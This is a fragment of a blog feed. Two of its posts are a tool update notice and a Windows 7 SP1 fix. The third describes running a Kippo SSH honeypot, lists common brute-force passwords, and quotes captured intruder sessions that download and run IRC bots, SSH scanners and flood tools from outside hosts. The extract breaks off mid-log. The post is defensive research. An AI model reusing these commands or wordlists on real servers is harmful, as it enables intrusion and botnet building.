src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-2130961277291470065</id><published>2011-07-30T18:29:00.001+02:00</published><updated>2011-07-30T18:29:40.150+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='program'/><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='tool'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><category scheme='http://www.blogger.com/atom/ns#' term='palettestealersuspender'/><category scheme='http://www.blogger.com/atom/ns#' term='directdraw'/><category scheme='http://www.blogger.com/atom/ns#' term='notice'/><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Solving Color Problem In DirectDraw Games Updated Again</title><content type='html'>&lt;br /&gt;Just a quick note to mention that I've cleaned up&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html"&gt;my blog post from 2009&lt;/a&gt;&amp;nbsp;once again. The PalettestealerSuspender program has been significantly updated. Usage instructions and downloads (including the older version if you so prefer and full source code) have been moved to &lt;a href="http://blog.macuyiko.com/p/palettestealersuspender.html"&gt;a separate blog page&lt;/a&gt;, which helps to keep things clean in the original post.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-2130961277291470065?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2130961277291470065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2130961277291470065'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/07/solving-color-problem-in-directdraw.html' title='Solving Color Problem In DirectDraw Games Updated Again'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-7821336098863694063</id><published>2011-03-27T00:07:00.000+01:00</published><updated>2011-03-27T00:07:07.332+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows 7'/><category scheme='http://www.blogger.com/atom/ns#' term='problem'/><category scheme='http://www.blogger.com/atom/ns#' term='80073701'/><category scheme='http://www.blogger.com/atom/ns#' term='solution'/><category scheme='http://www.blogger.com/atom/ns#' term='service pack 1'/><title type='text'>Quick Fix: Windows 7 Service Pack 1 Error 80073701</title><content type='html'>If your Windows 7 service pack upgrade is failing with error code 80073701, you might be able to fix it with the following steps. I've had to search around quite a bit before resolving this error, mainly because I saw the first and second solutions listed below pop up everywhere, but it was the third solution that actually fixed the problem for me in the end.&lt;br /&gt;&lt;h1&gt;Solution 1: reset Windows Update components (you've probably done this already)&lt;/h1&gt;Download the Fix It tool from&amp;nbsp;&lt;a href="http://support.microsoft.com/kb/971058/en-us"&gt;this Microsoft KB article&lt;/a&gt;&amp;nbsp;and run it. Afterwards, restart your computer and try installing SP1 again.&lt;br /&gt;&lt;h1&gt;Solution 2: run the System Update Readiness Tool (you've probably done this, too)&lt;/h1&gt;The tool can be downloaded from&amp;nbsp;&lt;a href="http://support.microsoft.com/kb/947821/en-us"&gt;this Microsoft KB article&lt;/a&gt;. Make sure to download the correct version. Note that the updates installed by this tool might take a &lt;i&gt;long&lt;/i&gt;&amp;nbsp;time to complete. It will appear as if the installation process is stuck. Don't worry, as the progress bar might go from zero to hundred per cent in an instant, just be patient. Afterwards, restart your computer and try installing SP1 again.&lt;br /&gt;&lt;h1&gt;Solution 3: check out the logs and run lpksetup (this might be new)&lt;/h1&gt;Still no dice? Then check the logs at &lt;code&gt;c:\Windows\Logs\CBS\CheckSUR.log&lt;/code&gt; and/or &lt;code&gt;c:\Windows\Logs\CBS\CheckSUR.persist.log&lt;/code&gt;. These will give you more detailed information about the error. For me, and for &lt;a href="http://superuser.com/questions/249641/error-80073701-when-installing-windows-7-service-pack-1"&gt;this user&lt;/a&gt; at superuser.com, the culprit was a language pack.&lt;br /&gt;&lt;br /&gt;However, contrary to the user mentioned above, I am not using a language other than the default English, and cannot recall ever installing one. I ignored the language pack problem (as re-installing a language pack was not an option for me) until I learned about the Language Pack Setup Tool. Just run &lt;strong&gt;&lt;code&gt;lpksetup.exe&lt;/code&gt;&lt;/strong&gt; from your Start Menu. A window will pop up asking you if you want to install or uninstall a language pack. Pick uninstall. Sure enough, a list of languages was presented: English (the in use, default and system language), and some other language (Portuguese or Spanish, I can't remember) with a yellow danger sign marking that it was in a broken state. Very strange indeed. After selecting the language for removal and pressing next, the situation was promptly resolved. Deinstalling the language took just a few seconds, probably because no language files were actually present on the disk.&lt;br /&gt;&lt;br /&gt;Anyway, after this small operation, installing SP1 went smoothly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-7821336098863694063?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/7821336098863694063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2011/03/quick-fix-windows-7-service-pack-1.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/7821336098863694063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/7821336098863694063'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/03/quick-fix-windows-7-service-pack-1.html' title='Quick Fix: Windows 7 Service Pack 1 Error 80073701'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-3464841989377076938</id><published>2011-03-10T01:15:00.000+01:00</published><updated>2011-03-10T01:15:35.993+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kippo'/><category scheme='http://www.blogger.com/atom/ns#' term='honeypot'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Running A SSH Honeypot With Kippo: Let's Catch Some Script Kiddies</title><content type='html'>&lt;h1&gt;Introduction&lt;/h1&gt;&lt;p&gt;While exploring &lt;a href="http://www.fail2ban.org/"&gt;Fail2Ban&lt;/a&gt; during one of my &lt;a href="http://blog.macuyiko.com/2011/01/slowloris-and-mitigations-for-apache.html"&gt;previous posts&lt;/a&gt;, it amazed me how many break-in attempts I received, trying  to brute force passwords on the SSH daemon. To recap, Fail2Ban does this:&lt;/p&gt;&lt;blockquote&gt;  &lt;p&gt;Fail2ban scans log files like  /var/log/pwdfail or  /var/log/apache/error_log and bans IP  that makes too many password failures.  It updates firewall rules to reject  the IP address.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;There are many articles (&lt;a href="http://thinkhole.org/wp/2006/10/30/five-steps-to-a-more-secure-ssh/"&gt;this&lt;/a&gt; is one of them) on the web which describe how you can harden your SSH server, like preventing root logins, to give an example. After getting one Fail2Ban warning after another, I decided to also move my SSH server to another port. And lo and behold, the attacks stopped almost completely. This is an example of security through obscurity, of course, but it shows that most of the attacks are performed by bots or script kiddies who don't look further than port 22, so why not implement this simple chance.&lt;/p&gt;&lt;p&gt;Of course, now port 22 was free to do something else...&lt;/p&gt;&lt;h1&gt;Enter Kippo&lt;/h1&gt;&lt;p&gt;Around this time (a few months ago), I also came across a program called &lt;a href="http://code.google.com/p/kippo/"&gt;Kippo&lt;/a&gt;:&lt;/p&gt;&lt;blockquote&gt;  &lt;p&gt;Kippo is a medium interaction SSH honeypot   designed to log brute force attacks and,   most importantly, the entire shell interaction   performed by the attacker.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kippo is written in Python and pretty easy to install (the required dependencies are all listed on the homepage). The only thing which needs a bit of setting up is getting Kippo to listen to port 22 (we want our honeypot to catch as much as possible). &lt;a href="http://code.google.com/p/kippo/wiki/MakingKippoReachable"&gt;This wiki page&lt;/a&gt; describes how to do just that.&lt;/p&gt;&lt;p&gt;Kippo does not need much &lt;a href="http://code.google.com/p/kippo/wiki/KippoOnLinux"&gt;setting up&lt;/a&gt;, and comes with a lot of Linux commands re-implemented (like wget, adduser, apt-get). The most important thing to do is to take look at &lt;code&gt;kippo.cfg&lt;/code&gt; and to create the simulated file system using &lt;code&gt;utils/createfs.py&lt;/code&gt;.You can also easily add other commands if you're know what you're doing (take a look in &lt;code&gt;txtcmds/&lt;/code&gt; and &lt;code&gt;kippo/commands/&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;After waiting for a week, I examined the logs to find out which passwords were used to try to login at the honeypot. By default, Kippo only comes with one root password it will accept ("123456"), but you can use the &lt;code&gt;utils/passdb.py&lt;/code&gt; script to add more. I added these most commonly tried passwords:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;aditzul92&lt;/li&gt;&lt;li&gt;admin1&lt;/li&gt;&lt;li&gt;enter&lt;/li&gt;&lt;li&gt;fuckoff&lt;/li&gt;&lt;li&gt;god&lt;/li&gt;&lt;li&gt;lacramioara&lt;/li&gt;&lt;li&gt;letmein&lt;/li&gt;&lt;li&gt;linux&lt;/li&gt;&lt;li&gt;love&lt;/li&gt;&lt;li&gt;passwd&lt;/li&gt;&lt;li&gt;r00t&lt;/li&gt;&lt;li&gt;rootroot&lt;/li&gt;&lt;li&gt;secret&lt;/li&gt;&lt;li&gt;sex&lt;/li&gt;&lt;li&gt;snickhacklol123&lt;/li&gt;&lt;li&gt;test&lt;/li&gt;&lt;li&gt;070790&lt;/li&gt;&lt;li&gt;123456&lt;/li&gt;&lt;li&gt;1q2wazsx&lt;/li&gt;&lt;li&gt;administrator&lt;/li&gt;&lt;li&gt;dragon&lt;/li&gt;&lt;li&gt;fuck&lt;/li&gt;&lt;li&gt;manager&lt;/li&gt;&lt;li&gt;monkey&lt;/li&gt;&lt;li&gt;p0p0c@t3p3tldiej&lt;/li&gt;&lt;li&gt;password&lt;/li&gt;&lt;li&gt;q1w2e3r4&lt;/li&gt;&lt;li&gt;root1&lt;/li&gt;&lt;li&gt;swordfish&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It's well known that brute force programs use so called wordlists which contain the most common passwords to try and break in into a server. If you notice that one of your used passwords is present in the list above, I would strongly suggest to change it. Then, I waited...&lt;/p&gt;&lt;h1&gt;A few months later&lt;/h1&gt;&lt;p&gt;When looking at my logs now, I've had thousands of break-in attempts, hundreds of which "succeeded". The interesting thing about Kippo is that it actually logs the shell session of the hacker. These shell sessions can be divided into three categories:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;People who immediately leave once they're logged in, probably to come back later or just take not that this server is indeed available.&lt;/li&gt;&lt;li&gt;People who do some basic fingerprinting of the server, using &lt;code&gt;w&lt;/code&gt;, &lt;code&gt;/proc/cpuinfo&lt;/code&gt;, &lt;code&gt;uptime&lt;/code&gt; and &lt;code&gt;uname -a&lt;/code&gt; to figure out the basics of the server. Most hackers also used &lt;code&gt;wget&lt;/code&gt; to download a large file to test the download rate of the server. Funnily enough, this was almost always the Windows 2000 SP3. Probably because it's (a) a large file and (b) hosted by a server you know is fast (Microsoft) and (c) is one of the few files on Microsoft's website which is still hotlinkable.&lt;/li&gt;&lt;li&gt;People who performed some fingerprinting and proceeded to download and extract malware. Here Kippo intercepted the attempts to run executables and showed some bogus error messages, after which the hackers disconnected.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Viewing the logs allows for some interesting observations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Most of the attempts aren't thorough. Most hackers quickly move on when an attempt seems to fail.&lt;/li&gt;&lt;li&gt;The tools used have been repacked and rewritten multiple times. Most of the tools are outdated, contain leftover files from previous installations or attempts, or contain weak attempts at automation shell scripts (with even sillier ASCII art).&lt;/li&gt;&lt;li&gt;The main reasons for hacking a server seems to be: (a) installing tools to hack more servers, (b) installing hidden web servers, (c) installing IRC daemons or bouncers, (d) installing IRC bots. Surprisingly, almost none of the hackers tried to completely nuke the system.&lt;/li&gt;&lt;li&gt;A few hackers spotted that a honeypot was in place. Most did not, despite the fact that Kippo is sometimes very blatant about this fact, by taunting with fake error messages.&lt;/li&gt;&lt;li&gt;It seems that the hackers (I actually mean "script kiddies" whenever I say "hackers") are following some kind of memorized script. Most of the attempts used to exact same fingerprinting and tried to execute the exact same tools. It makes one wonder if there's a "SSH hacking school" out there somewhere. More realistically speaking, there probably is a "hacking tutorial" on a forum somewhere showing which commands you have to execute.&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;A look at some attempts&lt;/h1&gt;&lt;p&gt;Let's look at some of the shell sessions, shall we? I wanted to show an exact replay of the terminal sessions (like the demos on the &lt;a href="http://code.google.com/p/kippo/"&gt;Kippo homepage&lt;/a&gt;, but this proved to be too difficult. (Kippo's log files are not easily read, and while I did code up a conversion tool and the basics of a Javascript replaying script, it underperformed on browsers other than Chrome, and I decided it was not worth further effort).&lt;/p&gt;&lt;h2&gt;First example&lt;/h2&gt;&lt;p&gt;This attempt shows some of the basic fingerprinting performed by the hackers, and Kippo's faked response. Afterwards, the hacker tries to download an IRC bot. Kippo taunts with an "O RLY" message.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# w&lt;br /&gt; 23:40:45 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01&lt;br /&gt;USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT&lt;br /&gt;root     pts/0    188.131.103.31    23:33    0.00s  0.00s  0.00s w&lt;br /&gt;macuyiko@seppelaptop:~/Desktop/kippo/tty$ python playlog.py  Hack1     .log 0&lt;br /&gt;server:~# uptime&lt;br /&gt; 23:30:42 up 14 days,  3:53,  0 users,  load average: 0.08, 0.02, 0.01&lt;br /&gt;server:~# cat /proc/cpuinfo&lt;br /&gt;processor    : 0&lt;br /&gt;vendor_id    : GenuineIntel&lt;br /&gt;cpu family    : 6&lt;br /&gt;model        : 23&lt;br /&gt;model name    : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz&lt;br /&gt;stepping    : 6&lt;br /&gt;cpu MHz        : 2133.305&lt;br /&gt;cache size    : 6144 KB&lt;br /&gt;physical id    : 0&lt;br /&gt;siblings    : 2&lt;br /&gt;core id        : 0&lt;br /&gt;cpu cores    : 2&lt;br /&gt;apicid        : 0&lt;br /&gt;initial apicid    : 0&lt;br /&gt;fpu        : yes&lt;br /&gt;fpu_exception    : yes&lt;br /&gt;cpuid level    : 10&lt;br /&gt;wp        : yes&lt;br /&gt;flags        : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm&lt;br /&gt;bogomips    : 4270.03&lt;br /&gt;clflush size    : 64&lt;br /&gt;cache_alignment    : 64&lt;br /&gt;address sizes    : 36 bits physical, 48 bits virtual&lt;br /&gt;power management:&lt;br /&gt;&lt;br /&gt;processor    : 1&lt;br /&gt;vendor_id    : GenuineIntel&lt;br /&gt;cpu family    : 6&lt;br /&gt;model        : 23&lt;br /&gt;model name    : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz&lt;br /&gt;stepping    : 6&lt;br /&gt;cpu MHz        : 2133.305&lt;br /&gt;cache size    : 6144 KB&lt;br /&gt;physical id    : 0&lt;br /&gt;siblings    : 2&lt;br /&gt;core id        : 1&lt;br /&gt;cpu cores    : 2&lt;br /&gt;apicid        : 1&lt;br /&gt;initial apicid    : 1&lt;br /&gt;fpu        : yes&lt;br /&gt;fpu_exception    : yes&lt;br /&gt;cpuid level    : 10&lt;br /&gt;wp        : yes&lt;br /&gt;flags        : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm&lt;br /&gt;bogomips    : 4266.61&lt;br /&gt;clflush size    : 64&lt;br /&gt;cache_alignment    : 64&lt;br /&gt;address sizes    : 36 bits physical, 48 bits virtual&lt;br /&gt;power management:&lt;br /&gt;&lt;br /&gt;server:~# uname -a&lt;br /&gt;Linux server 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   &lt;br /&gt;server:~# ps x&lt;br /&gt;  PID TTY          TIME CMD&lt;br /&gt; 5673 pts/0    00:00:00 bash&lt;br /&gt; 5677 pts/0    00:00:00 ps x&lt;br /&gt;server:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe&lt;br /&gt;--2011-01-26 23:31:12--  http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe&lt;br /&gt;Connecting to download.microsoft.com:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 130978672 (124M) [application/octet-stream]&lt;br /&gt;Saving to: `W2Ksp3.exe&lt;br /&gt;&lt;br /&gt; 7% [===&amp;gt;                                   ] 10,422,763   1731K/s  eta 1m 9s^C&lt;br /&gt;200 OK&lt;br /&gt;server:~# rm -rf W2Ksp3.exe&lt;br /&gt;server:~# wget http://eu-ro.ca/img.tar&lt;br /&gt;--2011-01-26 23:31:31--  http://eu-ro.ca/img.tar&lt;br /&gt;Connecting to eu-ro.ca:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 659886 (644K) [application/x-tar]&lt;br /&gt;Saving to: `img.tar&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 659,886      219K/s  eta 0s  &lt;br /&gt;&lt;br /&gt;2011-01-26 23:31:34 (219 KB/s) - `img.tar' saved [659886/659886]&lt;br /&gt;server:~# tar zxvf img.tar&lt;br /&gt;.img&lt;br /&gt;.img/start&lt;br /&gt;.img/run&lt;br /&gt;.img/r&lt;br /&gt;.img/r/rversions.e&lt;br /&gt;.img/r/rtsay.e&lt;br /&gt;.img/r/rsignoff.e&lt;br /&gt;.img/r/rsay.e&lt;br /&gt;.img/r/rpickup.e&lt;br /&gt;.img/r/rnicks.e&lt;br /&gt;.img/r/rkicks.e&lt;br /&gt;.img/r/rinsult.e&lt;br /&gt;.img/r/raway.e&lt;br /&gt;.img/pico&lt;br /&gt;.img/m.help&lt;br /&gt;.img/inst&lt;br /&gt;.img/bash&lt;br /&gt;.img/autorun&lt;br /&gt;.img&lt;br /&gt;.img/start&lt;br /&gt;.img/run&lt;br /&gt;.img/r&lt;br /&gt;.img/r/rversions.e&lt;br /&gt;.img/r/rtsay.e&lt;br /&gt;.img/r/rsignoff.e&lt;br /&gt;.img/r/rsay.e&lt;br /&gt;.img/r/rpickup.e&lt;br /&gt;.img/r/rnicks.e&lt;br /&gt;.img/r/rkicks.e&lt;br /&gt;.img/r/rinsult.e&lt;br /&gt;.img/r/raway.e&lt;br /&gt;.img/pico&lt;br /&gt;.img/m.help&lt;br /&gt;.img/inst&lt;br /&gt;.img/bash&lt;br /&gt;.img/autorun&lt;br /&gt;server:~# cd .img&lt;br /&gt;server:/root/.img# chmod +x *&lt;br /&gt;server:/root/.img# ./start +s&lt;br /&gt;  ___ &lt;br /&gt; {o,o}&lt;br /&gt; |)__)&lt;br /&gt; -"-"-&lt;br /&gt;O RLY? cd&lt;br /&gt;  ___ &lt;br /&gt; {o,o}&lt;br /&gt; |)__)&lt;br /&gt; -"-"-&lt;br /&gt;O RLY? cd ..&lt;br /&gt;  ___ &lt;br /&gt; {o,o}&lt;br /&gt; |)__)&lt;br /&gt; -"-"-&lt;br /&gt;O RLY?&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Second example&lt;/h2&gt;&lt;p&gt;Another one (I've removed the fingerprinting from now on). Here, &lt;code&gt;ftp&lt;/code&gt;, &lt;code&gt;apt-get&lt;/code&gt; and &lt;code&gt;yum&lt;/code&gt; are tried before settling with &lt;code&gt;wget&lt;/code&gt;. Another interesting thing to see here is that the tool is actually stored in what "looks" like an image file: &lt;code&gt;scanmorf.jpg&lt;/code&gt;. Changing the extension is a tactic often used to upload files to web servers who only perform some basic filename checks. In this case, &lt;code&gt;root-arhive.do.am&lt;/code&gt; might be an innocent, hacked website. The &lt;code&gt;pscan&lt;/code&gt; tool used here will return often and is used to scan IP blocks for open SSH servers.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# ftp zorro89.trei.ro&lt;br /&gt;bash: ftp: command not found&lt;br /&gt;server:~# apt-get&lt;br /&gt;E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)&lt;br /&gt;E: Unable to lock the list directory&lt;br /&gt;server:~# yum&lt;br /&gt;bash: yum: command not found&lt;br /&gt;server:~# wget&lt;br /&gt;wget: missing URL&lt;br /&gt;Usage: wget [OPTION]... [URL]...&lt;br /&gt;&lt;br /&gt;Try `wget --help' for more options.&lt;br /&gt;server:~# http://root-arhive.do.am/scanner/scanmorf.jpg ; tar zxvf scanmorf.jpg ; cd .shm.xcgi?F6=1 ; chmod wget +x *&lt;br /&gt;--2011-01-26 23:53:38--  http://root-arhive.do.am/scanner/scanmorf.jpg&lt;br /&gt;Connecting to root-arhive.do.am:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 12466 (12K) [image/jpeg]&lt;br /&gt;Saving to: `scanmorf.jpg&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 12,466       2K/s  eta 4s&lt;br /&gt;&lt;br /&gt;2011-01-26 23:53:38 (2 KB/s) - `scanmorf.jpg' saved [12466/12466]&lt;br /&gt;.shm.xcgi?F6=1&lt;br /&gt;.shm.xcgi?F6=1/12.pscan.80&lt;br /&gt;.shm.xcgi?F6=1/Horde&lt;br /&gt;.shm.xcgi?F6=1/sd.pscan.80&lt;br /&gt;.shm.xcgi?F6=1/h&lt;br /&gt;.shm.xcgi?F6=1/a&lt;br /&gt;.shm.xcgi?F6=1/23.pscan.80&lt;br /&gt;.shm.xcgi?F6=1/paths&lt;br /&gt;.shm.xcgi?F6=1/ps&lt;br /&gt;.shm.xcgi?F6=1/a.pl&lt;br /&gt;.shm.xcgi?F6=1/scan&lt;br /&gt;server:/root/.shm.xcgi?F6=1# ls&lt;br /&gt;12.pscan.80 Horde       sd.pscan.80 h           a           23.pscan.80 paths       ps          a.pl        scan        &lt;br /&gt;server:/root/.shm.xcgi?F6=1# ls -all&lt;br /&gt;drwxr-xr-x 1 root root  4096 2011-01-26 23:53 .&lt;br /&gt;drwxr-xr-x 1 root root  4096 2011-01-26 23:53 ..&lt;br /&gt;-rwxr-xr-x 1 root root     0 2011-01-22 02:25 12.pscan.80&lt;br /&gt;-rwxr-xr-x 1 root root 14372 2011-01-22 02:28 Horde&lt;br /&gt;-rwxr-xr-x 1 root root  9516 2011-01-22 02:25 sd.pscan.80&lt;br /&gt;-rwxr-xr-x 1 root root  2720 2006-05-05 15:56 h&lt;br /&gt;-rwxr-xr-x 1 root root    23 2006-05-05 15:55 a&lt;br /&gt;-rw-r--r-- 1 root root     0 2011-01-22 02:28 23.pscan.80&lt;br /&gt;-rwxr-xr-x 1 root root    50 2006-05-05 15:56 paths&lt;br /&gt;-rwxr-xr-x 1 root root 13432 2011-01-22 02:28 ps&lt;br /&gt;-rwxr-xr-x 1 root root  1165 2006-05-05 15:56 a.pl&lt;br /&gt;-rwxr-xr-x 1 root root   857 2011-01-22 02:28 scan&lt;br /&gt;server:/root/.shm.xcgi?F6=1# ./scan 88.198&lt;br /&gt;  ___ &lt;br /&gt; {o,o}&lt;br /&gt; |)__)&lt;br /&gt; -"-"-&lt;br /&gt;O RLY? y&lt;br /&gt;  ___&lt;br /&gt; {o,o}&lt;br /&gt; (__(|&lt;br /&gt; -"-"-&lt;br /&gt;NO WAI!&lt;br /&gt;server:/root/.shm.xcgi?F6=1# ./a 88.198&lt;br /&gt;error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Third example&lt;/h2&gt;&lt;p&gt;Some intruders are friendly enough to change the root password for us. This would actually be an interesting concept to add to Kippo: when you notice a &lt;code&gt;passwd&lt;/code&gt; command being executed, try to set up a reverse SSH connection to the attacker (probably possible since the attackers often use hacked servers themselves) and login with that password. When the same password is used during each hack attempt, we would probably be able to reclaim the originating server. Two tools are downloaded here. One is a flooding IRC bot, the other is a rehash of the &lt;code&gt;pscan&lt;/code&gt; tool from above, with some automation shell scripts added (dubbed &lt;code&gt;gosh&lt;/code&gt; here). It's also interesting to not that most of the hackers try to cover their tracks by removing their downloads.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# w&lt;br /&gt; 23:35:44 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01&lt;br /&gt;USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT&lt;br /&gt;root     pts/0    82.57.163.232     23:35    0.00s  0.00s  0.00s w&lt;br /&gt;server:~# passwd&lt;br /&gt;Enter new UNIX password: &lt;br /&gt;Retype new UNIX password: &lt;br /&gt;passwd: password updated successfully&lt;br /&gt;server:~# cd ..&lt;br /&gt;server:/# cd var &lt;br /&gt;server:/var# cd tmp&lt;br /&gt;server:/var/tmp# ls&lt;br /&gt;server:/var/tmp# wget http://www.denysa.net/denysa/flood.tgz&lt;br /&gt;--2011-01-26 23:36:24--  http://www.denysa.net/denysa/flood.tgz&lt;br /&gt;Connecting to www.denysa.net:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 227324 (221K) [application/x-compressed]&lt;br /&gt;Saving to: `flood.tgz&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 227,324      51K/s  eta 2s   &lt;br /&gt;&lt;br /&gt;2011-01-26 23:36:26 (51 KB/s) - `flood.tgz' saved [227324/227324]&lt;br /&gt;server:/var/tmp# wget http://gblteam.webs.com/gosh.tgz.tar&lt;br /&gt;--2011-01-26 23:36:44--  http://gblteam.webs.com/gosh.tgz.tar&lt;br /&gt;Connecting to gblteam.webs.com:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 1642769 (1M) [application/x-tar]&lt;br /&gt;Saving to: `gosh.tgz.tar&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 1,642,769    658K/s  eta 0s   &lt;br /&gt;&lt;br /&gt;2011-01-26 23:36:46 (658 KB/s) - `gosh.tgz.tar' saved [1642769/1642769]&lt;br /&gt;server:/var/tmp# tar zxvf gosh.tgz.tar&lt;br /&gt;gosh&lt;br /&gt;gosh/3&lt;br /&gt;gosh/4&lt;br /&gt;gosh/common&lt;br /&gt;gosh/go.sh&lt;br /&gt;gosh/scam&lt;br /&gt;gosh/pscan2&lt;br /&gt;gosh/ss&lt;br /&gt;gosh/5&lt;br /&gt;gosh/vuln.txt&lt;br /&gt;gosh/1&lt;br /&gt;gosh/mfu.txt&lt;br /&gt;gosh/pass_file&lt;br /&gt;gosh/gen-pass.sh&lt;br /&gt;gosh/secure&lt;br /&gt;gosh/2&lt;br /&gt;gosh/ssh-scan&lt;br /&gt;gosh/a&lt;br /&gt;server:/var/tmp# cd gosh&lt;br /&gt;server:/var/tmp/gosh# ls&lt;br /&gt;3           4           common      go.sh       scam        pscan2      &lt;br /&gt;ss          5           vuln.txt    1           mfu.txt     pass_file   &lt;br /&gt;gen-pass.sh secure      2           ssh-scan    a           &lt;br /&gt;server:/var/tmp/gosh# touch bios.txt&lt;br /&gt;server:/var/tmp/gosh# chmod +x *&lt;br /&gt;server:/var/tmp/gosh# ./go.sh 114&lt;br /&gt;  ___ &lt;br /&gt; {o,o}&lt;br /&gt; |)__)&lt;br /&gt; -"-"-&lt;br /&gt;O RLY? y&lt;br /&gt;  ___&lt;br /&gt; {o,o}&lt;br /&gt; (__(|&lt;br /&gt; -"-"-&lt;br /&gt;NO WAI!&lt;br /&gt;server:/var/tmp/gosh# cd ..&lt;br /&gt;server:/var/tmp# rm -rf gosh&lt;br /&gt;server:/var/tmp# ls&lt;br /&gt;flood.tgz    gosh.tgz.tar &lt;br /&gt;server:/var/tmp# tar zxvf flood.tgz&lt;br /&gt;f&lt;br /&gt;f/1&lt;br /&gt;f/P&amp;amp;ù÷&lt;br /&gt;f/P¦û÷&lt;br /&gt;f/b&lt;br /&gt;f/b2&lt;br /&gt;f/bang.txt&lt;br /&gt;f/f&lt;br /&gt;f/f4&lt;br 